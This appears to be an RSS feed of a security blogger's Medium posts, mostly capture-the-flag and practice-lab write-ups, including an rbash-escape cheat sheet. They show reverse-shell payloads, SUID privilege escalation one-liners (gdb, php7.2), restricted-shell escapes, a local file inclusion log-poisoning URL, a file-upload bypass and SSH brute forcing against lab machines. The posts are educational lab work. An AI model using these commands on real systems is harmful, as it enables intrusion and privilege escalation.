<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Neelesh Patel on Medium]]></title>
        <description><![CDATA[Stories by Neelesh Patel on Medium]]></description>
        <link>https://medium.com/@trysec?source=rss-337ad956b4ba------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*52ARld_9ctonHpALEzuAsw.jpeg</url>
            <title>Stories by Neelesh Patel on Medium</title>
            <link>https://medium.com/@trysec?source=rss-337ad956b4ba------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 23:52:35 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@trysec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hey, I have some Updates!!]]></title>
            <link>https://trysec.medium.com/hey-i-have-some-updates-822967f2855?source=rss-337ad956b4ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/822967f2855</guid>
            <category><![CDATA[walking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[sleep]]></category>
            <category><![CDATA[repeat]]></category>
            <category><![CDATA[cool]]></category>
            <dc:creator><![CDATA[Neelesh Patel]]></dc:creator>
            <pubDate>Sun, 23 Oct 2022 04:48:51 GMT</pubDate>
            <atom:updated>2022-10-24T04:31:09.330Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/100/1*imucaRldTZs9-AzsJwvu3g.gif" /></figure><p>🔔 This platform is not maintained regularly as of yet. I’m building a better platform — <a href="https://notnue.github.io/"><strong>notnue.github.io</strong></a></p><p>The platform will include everything from developing, pwning machines to pure exploitations along with malware analysis and reverse engineering, some of my happiest moments, blogs, random days doings and much much more!!!</p><p>Until then, OSINT out <a href="https://notnue.github.io/"><strong>notnue.github.io</strong></a> and I’ll see you on the internet.</p><h3>Find Me</h3><p>LinkedIn: <a href="https://www.linkedin.com/in/user-neeleshpatel">https://www.linkedin.com/in/user-neeleshpatel</a> <br>TryHackMe: <a href="https://tryhackme.com/p/cyberbreath">https://tryhackme.com/p/cyberbreath</a> <br>Github: <a href="https://github.com/notnue">https://github.com/notnue</a> <br>Website: <a href="https://notnue.github.io/">https://notnue.github.io</a> <br>Medium: <a href="https://trysec.medium.com/">https://trysec.medium.com</a><br>*********: <a href="https://trysec.medium.com/******************.******">https://******************.******</a><br>*********: <a href="https://trysec.medium.com/******************.******">https://******************.******</a><br>*********: <a href="https://trysec.medium.com/******************.******">https://******************.******</a></p><p>“<strong><em>All I need is just my ten fingers and sometimes {coffee}, to talk to computers.</em></strong>”</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=822967f2855" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Root-me Challenges(Networks)]]></title>
            <link>https://trysec.medium.com/root-me-challenges-networks-45f15e6df504?source=rss-337ad956b4ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/45f15e6df504</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[root-me]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Neelesh Patel]]></dc:creator>
            <pubDate>Wed, 09 Mar 2022 18:46:35 GMT</pubDate>
            <atom:updated>2022-03-10T12:56:07.896Z</atom:updated>
            <content:encoded><![CDATA[<h3>Investigate captured traffic, network services and perform packet analysis</h3><p>— — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3><strong>FTP — authentication</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Km8JaM3iHU44rTp2kLdG0Q.png" /></figure><p>The first challenge in the networks was FTP-Authentication which I did by packet analysis. I used tshark instead of Wireshark.</p><p>Open the terminal and make sure tshark is up and running.</p><p>To install tshark run the command sudo apt-get install tshark -y</p><p>The challenge have one pcap file. Open the file in terminal as per challenge, I used the command:</p><blockquote><strong>tshark -r ch1.pcap -Y ‘ftp.request.command==”PASS”’</strong></blockquote><p>which means I want tshark to open the file name ch1.pcap and I used -Y to filter out the ftp request command PASS which contains password.</p><p>— — — — — — — — — — — — — — — — — — — — — — -→</p><h3><strong>TELNET — authentication</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*teY9opEOiCBqFQW1M1-E0g.png" /></figure><p>This challenge requires to find the user password in this TELNET session capture.</p><p>In the wireshark, I sniffed out the TCP stream and ofcourse it’s TELNET user password was clearly visible which was required flag as shown above.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — →</p><h3>ETHERNET — frame</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0bYuEU1iFSzl-T-xTDLDTA.png" /></figure><p>So in this challenge, the hex dump was given if you recon on the internet you’ll find numerous ways to convert hex dumps to ASCII as shown. It contains a string which is clearly in Base64 as shown above</p><p>— — — — — — — — — — — — — — — — — — — — — — -→</p><h3>Twitter authentication</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ggXA6D4XAPnrq1YdpdHQJQ.png" /></figure><p>Challenge: A twitter authentication session has been captured, you have to retrieve the password.</p><p>After packet analysis in Wireshark as above challenge, the string was decoded same as above challenge.</p><p>— — — — — — — — — — — — — — — — — →</p><h3>Bluetooth — Unknown file</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2-ZzEsLP2j13UHsY7Fbilw.png" /></figure><p>Challenge: Your friend working at NSA recovered an unreadable file from a hacker’s computer. The only thing he knows is that it comes from a communication between a computer and a phone.</p><p>The answer is the sha-1 hash of the concatenation of the MAC address (uppercase) and the name of the phone.</p><p>Example: <br> AB:CD:EF:12:34:56myPhone -&gt; 023cc433c380c2618ed961000a681f1d4c44f8f1</p><p>So clearly seems we have tapped bluetooth captures. In the right frame of the PoC the name of the device and MAC is visible, after combining as per requirement, the flag is baked out.</p><p>— — — — — — — — — — — — — — →</p><p>Until Next Time,</p><p>Reach me:</p><p><strong>Linkedin</strong>: <a href="https://www.linkedin.com/in/user-neeleshpatel/"><strong>https://www.linkedin.com/in/user-neeleshpatel/</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=45f15e6df504" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[O’cmon, rbash is hated one too!]]></title>
            <link>https://trysec.medium.com/ocmon-rbash-is-hated-one-too-4339d95cbb0c?source=rss-337ad956b4ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/4339d95cbb0c</guid>
            <category><![CDATA[tty-prompt]]></category>
            <category><![CDATA[shell]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Neelesh Patel]]></dc:creator>
            <pubDate>Fri, 18 Feb 2022 05:32:11 GMT</pubDate>
            <atom:updated>2022-02-18T05:32:11.069Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*Qwzc46XLSl3I8aJl-2bgAA.jpeg" /></figure><p>Breaking out of a Restricted shell</p><p>Why do I even care? You have to!!</p><p>My end goal is spawning a bourne shell.What are the initial steps?</p><ul><li>Grab a valid <strong>tty </strong>of your default OS (tty: it’s a teletypewriter for terminal)</li><li>Your running OS? Take hold of those binaries. But how? by exporting each environment variables</li><li>You like color coded terminal which showcase easily the Files, Directories, file permissions?</li><li>Making our shell stable.</li></ul><blockquote><em>python -c ‘import pty; pty.spawn(“/bin/bash”)’<br></em><strong><em>OR</em></strong><em><br>python3 -c ‘import pty; pty.spawn(“/bin/bash”)’<br>export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp<br>export TERM=xterm-256color<br>Ctrl + Z (Background Process.)<br>stty raw -echo ; fg ; reset<br>stty columns 200 rows 200</em></blockquote><p>— — — — — — — — — — — — — — →</p><p><strong>rbash(Restricted Bash shell?)</strong></p><blockquote>There are various methods. Personally, I like vi because it’s always win-win as this is always available.<br>$ vi<br>:set shell=/bin/sh<br>:shell</blockquote><blockquote>$ vim<br>:set shell=/bin/sh<br>:shell</blockquote><p><strong>Is there python on target machine?</strong><br>python -c ‘import pty; pty.spawn(“/bin/bash”)’<br>python -c ‘import pty; pty.spawn(“/bin/sh”)’</p><p><strong>Is there perl on the target machine?</strong><br>perl -e ‘exec “/bin/bash”;’<br>perl -e ‘exec “/bin/sh”;’</p><p><strong>Is there AWK on the target machine?</strong><br>awk ‘BEGIN {system(“/bin/bash -i”)}’<br>awk ‘BEGIN {system(“/bin/sh -i”)}’</p><p><strong>Is there ed on the target machines?</strong><br>ed<br>!sh</p><p><strong>IRB Present on the target machine?</strong><br>exec “/bin/sh”</p><p><strong>Is there Nmap on the target machine?</strong><br>nmap — interactive<br>nmap&gt; !sh</p><p>— — — — — — — — — — — — — — — — — -</p><p>I hope that might have helped you something.</p><p>I’m Neelesh, I’ll see you on the internet!</p><p><strong>Linkedin</strong>: <a href="https://www.linkedin.com/in/user-neeleshpatel/">https://www.linkedin.com/in/user-neeleshpatel/</a></p><p><strong>Twitter</strong>:<a href="https://twitter.com/neelesh________">https://twitter.com/neelesh________</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4339d95cbb0c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnhub Series →DC-1]]></title>
            <link>https://trysec.medium.com/vulnhub-series-dc-1-f79c22e898d1?source=rss-337ad956b4ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/f79c22e898d1</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Neelesh Patel]]></dc:creator>
            <pubDate>Wed, 09 Feb 2022 06:32:52 GMT</pubDate>
            <atom:updated>2022-02-09T06:32:52.905Z</atom:updated>
            <content:encoded><![CDATA[<p>Greetings,</p><p>I’m Neelesh, The pwned machine is first part of DC series from <strong>Vulnhub-Offensive Security</strong>. So let’s get started!</p><p>Initially after arp scan, we got the target IP and exported the target IP as environment variable and started the nmap scan:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*TUQK5lUoXWhrEkk6nRRejQ.png" /></figure><p>Clearly, by looking at the results we jumped to port 80 which is CMS based drupal site although it was already verified in nmap scan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VODGj0mBM15YCT_pbJMgXw.png" /></figure><p>We have to enumerate, since the initial enumeration sprays didn’t work (eg. default passwords sprays). But then we scanned the site with droope scan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*Zr7H2vxF5WpfEbhZPthd8g.png" /></figure><p>We found some interesting stuffs like CMS versions, after enum through searchsploit we found:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*oToHP_0KiU3mrCyMo751lQ.png" /></figure><p>As per searchsploit results we shot the msfconsole and filled up with required options for meterpreter session:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*0GNe95qo_88zfRB6KqsiVg.png" /></figure><p>During post enumeration, we found a flag4.txt as shown:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*-sSE5_OwPwtBb62WK5Oflg.png" /></figure><p>While enumeration we checked netstat but nothing interesting came up so far.But after checking up SUID permissions we got:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*hJStN29jSQVczlevRHVtcw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*ahYcm7GjaAoIjd0fHHWwJQ.png" /></figure><p>and clearly, we are root and the PoC of becoming root is shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*2lMKVw-SUuKEYTYMER8a0w.png" /></figure><p>→→→→→→→→→→→→→</p><p>That’s all for now!</p><p>Until Next Time,</p><p><strong>Do Good and Good will come to you</strong></p><p>→→→→→→→→→→→→→</p><p>Feel free to ping me anytime</p><p>Linkedin: <a href="https://www.linkedin.com/in/user-neeleshpatel/"><strong><em>https://www.linkedin.com/in/user-neeleshpatel/</em></strong></a></p><p>Twitter: <a href="https://twitter.com/neelesh________"><strong><em>https://twitter.com/neelesh________</em></strong></a></p><p>→→→→→→→→→→→→→</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f79c22e898d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GAARA — Offensive Security PG Play]]></title>
            <link>https://trysec.medium.com/gaara-offensive-security-pg-play-822296efac0b?source=rss-337ad956b4ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/822296efac0b</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[naruto]]></category>
            <category><![CDATA[anime]]></category>
            <dc:creator><![CDATA[Neelesh Patel]]></dc:creator>
            <pubDate>Tue, 04 Jan 2022 16:59:21 GMT</pubDate>
            <atom:updated>2022-01-14T17:32:11.674Z</atom:updated>
            <content:encoded><![CDATA[<h3>GAARA — Offensive Security PG Play</h3><p><strong>“Long time, No see…. NARUTO!!..”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1bXSXOYw_2GI1P9UvUwR3g.jpeg" /></figure><p>We start the enumeration process with a simple Nmap scan:</p><p>nmap -p- -sC -sV — open -o nmap.txt $IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*XKMJLfx5iSDfWDnRB3kvZg.png" /></figure><p>We find port 80 is open and visit it in our browser as a first step and after brute forcing hidden directories we found /Cryoserver. Furthur after static analysis we found three more directories and after reconnaissance we found /iamGaara has some strange string which after decoding with Base58 gave us name and credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*kdDaY7TSPZM5PqQyEXIJHQ.png" /></figure><p>It was unsuccessful login to ssh but we got one username. So we brute force ssh and found the credentials for a successful login with wordlist used rockyou.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*n90Kqv90lCgZcCMATLsAkQ.png" /></figure><p>During Post Enumeration I found SUID permission to gdb as shown. So what now?</p><blockquote>If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*yKGfS5ztqPLgAr0DXHI7eg.png" /></figure><p>Abusing SUIDs to become root:</p><p><strong>./gdb -nx -ex &#39;python import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-p&quot;)&#39; -ex quit</strong></p><p>And we are root with the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*YbpG_tG3hdV_zsy8YuceHQ.png" /></figure><p>That’s all for now,</p><p>Until Next Time,</p><p><strong>“Stay CHILL” Jutsu!</strong></p><p>— — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>To reach me out for any query or help:</p><blockquote><a href="https://www.linkedin.com/in/user-neeleshpatel/"><strong>https://www.linkedin.com/in/user-neeleshpatel/</strong></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=822296efac0b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HEADLESS! — Vulnerable Machine]]></title>
            <link>https://trysec.medium.com/headless-219f60d10385?source=rss-337ad956b4ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/219f60d10385</guid>
            <category><![CDATA[happiness]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Neelesh Patel]]></dc:creator>
            <pubDate>Mon, 13 Dec 2021 09:55:33 GMT</pubDate>
            <atom:updated>2022-01-18T04:52:09.873Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gi2OSbL5OP8uu2RuuzI3MA.png" /></figure><p>This VM Image is beginner friendly machine. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). There are more ways then one to successfully complete the challenges.</p><blockquote><strong>Download link 1</strong>: <a href="https://www.dropbox.com/sh/t04oh0gxags8k3u/AABCTCFDQ1fQpZkPrv7K2Pffa?dl=0">https://www.dropbox.com/sh/t04oh0gxags8k3u/AABCTCFDQ1fQpZkPrv7K2Pffa?dl=0</a></blockquote><blockquote><strong>Download Link 2</strong>: <a href="https://drive.google.com/file/d/1Bj1Tbk1PHTFFCCFN1mMDjaJ1WprVXyyG/view?usp=sharing">https://drive.google.com/file/d/1Bj1Tbk1PHTFFCCFN1mMDjaJ1WprVXyyG/view?usp=sharing</a></blockquote><p><strong>Official Walk-through for the machine:</strong></p><ol><li>Start enumerating machine by simple nmap scan considering all ports with -p- as a switch</li></ol><p><strong>nmap -p- -sCV — open -o nmap.txt $IP</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*trgUNccvVfIU8mQHFqE3XQ.png" /></figure><p>2. FTP to the subsequent port found, enumerating the every directories you found and by downloading all the files at the same time we get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*wJ-ZAZNNlU5oWCScPOGeHQ.png" /></figure><p>3. You’ll find some images and encrypted text there..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*HH7EbuRuYd1eZiQ2LbaYEg.png" /></figure><p>3. Are these images are actually images???</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*Yry5TCzknjCzt1JKiu4gPg.png" /></figure><p>(32 OR 64 OR ROT???) again?? (maybe?)</p><p>4. Remote login??? (Is it sec#red shell?)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*sXqPKYp84Oy8c6eDukChTg.png" /></figure><p>5. Clearly by seeing the permissions given to .home.sh file, we can own the machine by manipulating the script as shown:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*Ctjqrk1fITRJG9vDXVOG5w.png" /></figure><p>And by running the script as shown WE are ROOT!!!, the flag is waiting for you.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*YoqxLaJ1XvqzmVU4KcyfOA.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — —</p><p>That’s all for now,</p><p>Until Next Time,</p><p>Feel free to ping me anytime:</p><p><a href="https://www.linkedin.com/in/user-neeleshpatel/"><strong>https://www.linkedin.com/in/user-neeleshpatel/</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=219f60d10385" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pwning Photographer!!- OSCP Type Machine Write-up]]></title>
            <link>https://trysec.medium.com/pwning-photographer-oscp-type-machine-write-up-2f4b412674a2?source=rss-337ad956b4ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/2f4b412674a2</guid>
            <category><![CDATA[photographer]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Neelesh Patel]]></dc:creator>
            <pubDate>Sat, 13 Nov 2021 08:33:29 GMT</pubDate>
            <atom:updated>2021-11-13T08:33:29.119Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>This is one of the intermediate machine from Offensive Security Proving Grounds!. So let’s dive in as per our goal.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JotWhHBGrNqW9BVgXt0I7w.jpeg" /></figure><p>Greetings!!!,</p><p>Okay so…</p><p>Target: 10.0.2.9</p><p>Exporting IP as environment variable and scanned victim’s machine quietly ;-) the results are:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*AwrwuZFHQXD3oQGTeRwfIg.png" /></figure><p>After a shot on port 80, we got:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*xw7tjgqMBA8WRYFGHN1N1w.png" /></figure><p>Same procedure goes with http on port 8000 as shown:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*wxSsdf_pfsGGBGjoRRsGPA.png" /></figure><p>Similarly following the same for Directories as well for port 80,8000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*T2A9LNzCbxC8eNxF9nCoZA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*_gaBgwQOtMY6ci-hqilE7w.png" /></figure><p>Found $IP:8000/admin through above results and creds from smb port enumeration, the password as baby####</p><p>(I left these symbols to be replaced by your investigation ;-)))</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1J1k_XoCin8eY_1rsSfAJA.png" /></figure><p>After successful login, import content functionality was allowed, so I uploaded php reverse shell with .jpg entension and intercepted the request with burp and changed the file name back from php-rev-shell.php.jpg back to php-rev-shell.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0YPgnKUP1MHFaP9St0izsw.png" /></figure><p>After executing the file on the web page, my nc was listening on my machine, and yeah we got a reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*p3RUBGCuwmf8bqTFpTpUrw.png" /></figure><p>Enumerating the victim’s machine initials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*btKuWiLRCYIgK9para7cIw.png" /></figure><p>During reconnaissance, below is the user.txt flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*xeZZIACRMWd-j3ZS52Fk-g.png" /></figure><blockquote><strong>PRIVILEGE ESCALATIONS</strong></blockquote><p>So after enumerating the target, I checked for SUID binaries and surprisingly found /usr/bin/php7.2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*7Uj26cm0ffbZVqcKX6_Zng.png" /></figure><p>php7.2 was set to suid and we can easily escalate our privileges by using php7.2 like this:</p><pre>/usr/bin/php7.2 -r &quot;pcntl_exec(&#39;/bin/bash&#39;, [&#39;-p&#39;]);&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*v_QdgOK8pydRAA2QChkKdg.png" /></figure><p>Annddd!!! we are root!!!!</p><p>That’s all for now!!</p><p>Until Next Time,</p><blockquote>“Hugs are more powerful than Handshakes”</blockquote><p>— — — — — — — — — — — — —</p><p>For any suggestions or queries, ping me:</p><p><a href="https://www.linkedin.com/in/user-neeleshpatel/"><strong><em>https://www.linkedin.com/in/user-neeleshpatel/</em></strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2f4b412674a2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Solstice — Offensive Security Machine]]></title>
            <link>https://trysec.medium.com/solstice-offensive-security-machine-c52357d7169a?source=rss-337ad956b4ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/c52357d7169a</guid>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[web-applications]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Neelesh Patel]]></dc:creator>
            <pubDate>Sat, 06 Nov 2021 09:23:17 GMT</pubDate>
            <atom:updated>2021-11-06T09:23:17.920Z</atom:updated>
            <content:encoded><![CDATA[<h3>Pwning Solstice! — Offensive Security Machine</h3><p><strong>This is one of the intermediate machine from Offensive Security Proving Grounds</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*Z48mxLbjC8w30rTF0NMsQg.jpeg" /></figure><p>exported IP as environment variable and scanned for services and findings as</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*fYFZ3FRMfTVvbjR31nlFgQ.png" /></figure><p>OS: Web-Technology: PHP</p><p>IP:10.0.2.15</p><p>21 ftp → NO Anonymous access<br>2121 ftp → Anonymous access, but nothing interesting! <br>62524 ftp → Nothing juicer!!<br>80 http → Manual Inspection (Source Code Analysis)<br> * version → <strong>phpIPAM 1.4</strong><br>3128 Squid proxy → /-<br>54787 http → /-<br>8593 http → Manual Inspection (Source Code Analysis)<br><a href="http://10.0.2.15:8593/index.php?book=list">http://10.0.2.15:8593/index.php?book=list</a></p><p>I then tried for Local File Inclusion and we got something!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*YugLtaUBUaDuSMJWxB_qRQ.png" /></figure><p>Now all i need is also to check the logs also to verify further LFI , I tried connection with nc, don’t worry of 400 Bad Request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*2NFUhuq4jB-vQ6sKenCjpQ.png" /></figure><p>Verified Local File Inclusion Vulnerability):<br><a href="http://10.0.2.15:8953/index.php?book=../../../../car/log/apache2/access.log">http://10.0.2.15:8953/index.php?book=../../../../var/log/apache2/access.log</a>&amp;cmd=id</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FeCIHda71QEzIWYoX7LBmw.png" /></figure><p>And with that i used my encoded payload i.e</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*Pdx1TRO26sf3ppqnI2U9pw.png" /></figure><p>and now we got a shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*atan7kj3Z-IzULksusLwuQ.png" /></figure><p>Making the shell more stable and enumerating the machine and found some service running on port 57</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*OFG7ZLGzbYVovkHlheVPYw.png" /></figure><p>During enumeration, file name index.php have SUID permissions, so i edited the file as shown, what is did is , I gave find command super permission which further will gave us root privilege</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*K8BV83fNvEB-lJia2jpZsQ.png" /></figure><p>And with that, we are now root!! with a root flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*V3a4PkA3J6OkHVE151MHzw.png" /></figure><p>That’s all for now!!</p><p>Until Next Time,</p><p>Stay Calm!</p><p>— — — — — — — — — — — -</p><p>For any query/issues, feel free to ping me</p><p><a href="https://www.linkedin.com/in/user-neeleshpatel/"><strong>https://www.linkedin.com/in/user-neeleshpatel</strong>/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c52357d7169a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BORN2ROOT —  Offensive Security]]></title>
            <link>https://trysec.medium.com/born2root-offensive-security-3b47a8e572db?source=rss-337ad956b4ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b47a8e572db</guid>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[black]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[roots]]></category>
            <dc:creator><![CDATA[Neelesh Patel]]></dc:creator>
            <pubDate>Wed, 27 Oct 2021 16:40:07 GMT</pubDate>
            <atom:updated>2021-10-27T16:40:07.181Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>BORN2ROOT — Offensive Security</strong></h3><p><strong>Offensive Security Proving Ground Complete Write-up</strong></p><p>Exporting IP of the target machine as environment variable and scanned the target and found open ports and services as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*E8e0OfKodAZ3C-fvLh_LCQ.png" /></figure><p>After switching up to port 80, three users found as martin, hadi, jimmy. COOL!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M7g_oF3dft4bt4MjJCnLHg.png" /></figure><p>After busting the directories with wfuzz, the results are</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*Y2s5118zSqLWoBYRmi8CEw.png" /></figure><p>After hoping to icons directories and enumerating all the files , there’s was a file having ssh key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*Ndgfa_7zvWbMb7Qw-b09wA.png" /></figure><p>AWESOME!!, so we got three users, after trying with martin with password secret lab, it was a successful login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*Pt6EUMhx2otsM9v2dCCYIA.png" /></figure><p>Enumerating the martin’s machine and found that in crontab,the file sekurity.py is running every five minutes which itself is missing in /tmp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*nGoDs_k4w6x2GHOkFstXjQ.png" /></figure><p>So i created the same file name with reverse shell payload</p><blockquote><em>python -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;0.0.0.0&quot;,0000));</em></blockquote><p>with my knife listening on my root machine and yes, it was a good to go!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*FzvggcR2ISyg6baJKALu6g.png" /></figure><p>Enumerating the machine and found nothing special and only user left is hadi, so tried with hadi and with normal password of hadi123 and guess it worked!!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*wZvcnB2F7k0uuODVVwlTDQ.png" /></figure><p>Enumerating the machine and after switching user with su command i tried with same password and was a successful 